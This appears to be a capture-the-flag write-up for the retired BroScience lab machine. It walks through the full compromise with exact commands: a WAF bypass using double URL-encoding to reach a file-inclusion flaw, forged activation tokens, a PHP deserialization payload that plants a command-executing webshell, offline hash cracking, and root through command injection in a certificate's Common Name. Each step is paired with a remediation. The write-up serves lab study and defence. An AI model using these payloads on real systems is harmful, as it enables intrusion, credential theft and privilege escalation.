BroScience
Summary
Target broscience.htb ($TARGET) was fully compromised through a chain of five distinct weaknesses. I bypassed a web application firewall's path-traversal filter using double URL-encoding to exploit a Local File Inclusion flaw in the img.php endpoint, then read PHP source files that disclosed PostgreSQL database credentials and the application's account-activation logic. That logic relied on PHP's time-seeded pseudo-random number generator, making activation tokens predictable and allowing me to activate a self-registered account within seconds.
After authenticating, I abused a PHP object deserialization vulnerability in a user-controlled cookie — exploiting an AvatarInterface gadget chain — to execute arbitrary commands as the web server account www-data. From that foothold I connected to the database using the leaked credentials, dumped password hashes, and cracked them offline using Hashcat against the disclosed static salt, recovering bill's plaintext password. That credential was valid for SSH and yielded the user flag.
Root access followed from a command-injection flaw in a root-owned certificate-renewal script: the script passed certificate subject fields unsanitized to a shell invocation of openssl, so planting a certificate whose Common Name contained a shell command substitution caused /usr/bin/bash to be made SUID by the root process, granting an effective-root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for bill>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <the-code-that-matches>, <the-cookie-just-built>, <the-unix-time-from-that-header> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Register the virtual host for name resolution.
$ echo "$TARGET broscience.htb" | sudo tee -a /etc/hostsIdentify open services and banner information.
$ nmap -Pn -sV -p 22,80,443 --script http-title,http-server-header $TARGETRetrieve HTTP response headers to confirm server and technology stack.
$ curl -sSk 'https://broscience.htb/' -IExact commands 2
Single-encoded traversal — blocked by WAF with 'Attack detected'.
$ curl -sk 'https://broscience.htb/includes/img.php?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd'Double URL-encoded traversal bypasses the WAF filter and returns /etc/passwd.
$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd'FixFix the Local File Inclusion vulnerability with strict canonical-path validationCritical
Exact commands 3
Read db_connect.php to extract plaintext Postgres credentials.
$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252fdb_connect.php'Read utils.php to recover the static password salt (NaCl) and hash scheme.
$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252futils.php'Read activate.php to understand the token-generation algorithm (srand(time())).
$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252factivate.php'Exact commands 3
The server's own clock, to the second. The seed is in here.
$ curl -skI https://broscience.htb/register.php | grep -i '^date:'The same seed and the same loop reproduce the same code. Walk a few seconds either side of the header value; clock skew is the only uncertainty.
$ php -r '$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand(<the-unix-time-from-that-header>); $c=""; for ($i=0; $i<32; $i++) { $c .= $chars[rand(0, strlen($chars) - 1)]; } echo $c;'Activation is all the code is for; the account logs in normally afterwards.
$ curl -sk 'https://broscience.htb/activate.php?code=<the-code-that-matches>'FixReplace time-seeded activation tokens with cryptographically random valuesHigh
Exact commands 3
Builds the cookie. The two length prefixes are computed rather than typed, which is the part that is easy to get wrong by hand.
$ python3 -c "import base64; p='<?php if(isset(\$_GET[\"cmd\"])){system(\$_GET[\"cmd\"]);} ?>'; d='data://text/plain;base64,'+base64.b64encode(p.encode()).decode(); o='/var/www/html/shell.php'; s=f'O:15:\"AvatarInterface\":2:{{s:3:\"tmp\";s:{len(d)}:\"{d}\";s:7:\"imgPath\";s:{len(o)}:\"{o}\";}}'; print(base64.b64encode(s.encode()).decode())"Any page that reads the cookie deserialises it; the write happens as a side effect.
$ curl -sk -b 'user-prefs=<the-cookie-just-built>' https://broscience.htb/index.php -o /dev/nullExpect the web server account's uid.
$ curl -sk 'https://broscience.htb/shell.php?cmd=id'FixRemove PHP unserialize() calls on user-supplied dataCritical
Exact commands 2
Run from the www-data shell; dumps all usernames and MD5+NaCl hashes from the database.
$ psql "postgresql://$USERNAME:$PASSWORD@127.0.0.1/broscience" -c 'SELECT username, password FROM users;'Mode 20 is md5($salt.$pass) with the static salt NaCl; recovers bill:$PASSWORD3.
$ hashcat -m 20 -a 0 "$HASH:NaCl" /usr/share/wordlists/rockyou.txt --forceFixReplace MD5-with-static-salt password storage with a modern adaptive hashing algorithmHigh
Exact commands 1
Authenticates as bill with the cracked password and reads the user flag; replace flag value with <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no bill@$TARGET 'id; hostname; cat /home/bill/user.txt'
uid=1000(bill) gid=1000(bill) groups=1000(bill)Exact commands 3
Run as bill via SSH; creates a certificate whose CN embeds the chmod command that will execute when root processes the file.
$ mkdir -p /home/bill/Certs && openssl req -newkey rsa:2048 -nodes -keyout /home/bill/Certs/broscience.key -x509 -days 1 -subj "/C=US/ST=NY/L=NY/O=BroScience/OU=Ops/CN=$(chmod u+s $(which bash))/emailAddress=bill@broscience.htb" -out /home/bill/Certs/broscience.crtPoll until the root cron processes the certificate and sets the SUID bit on /usr/bin/bash (typically within a few minutes).
$ BASH_PATH=$(which bash); for i in $(seq 1 300); do ls -la "$BASH_PATH" | grep -q 'rws' && echo "SUID set at ${i}s" && break; sleep 1; doneBash -p preserves the SUID-granted effective root UID (euid=0); substitute <root.txt> for the actual flag value.
$ bash -p -c 'id; cat /root/root.txt'FixSanitize certificate subject fields before shell interpolation and run the renewal service unprivilegedCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.54 |
| 443/tcp | ssl/http Apache httpd 2.4.54 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.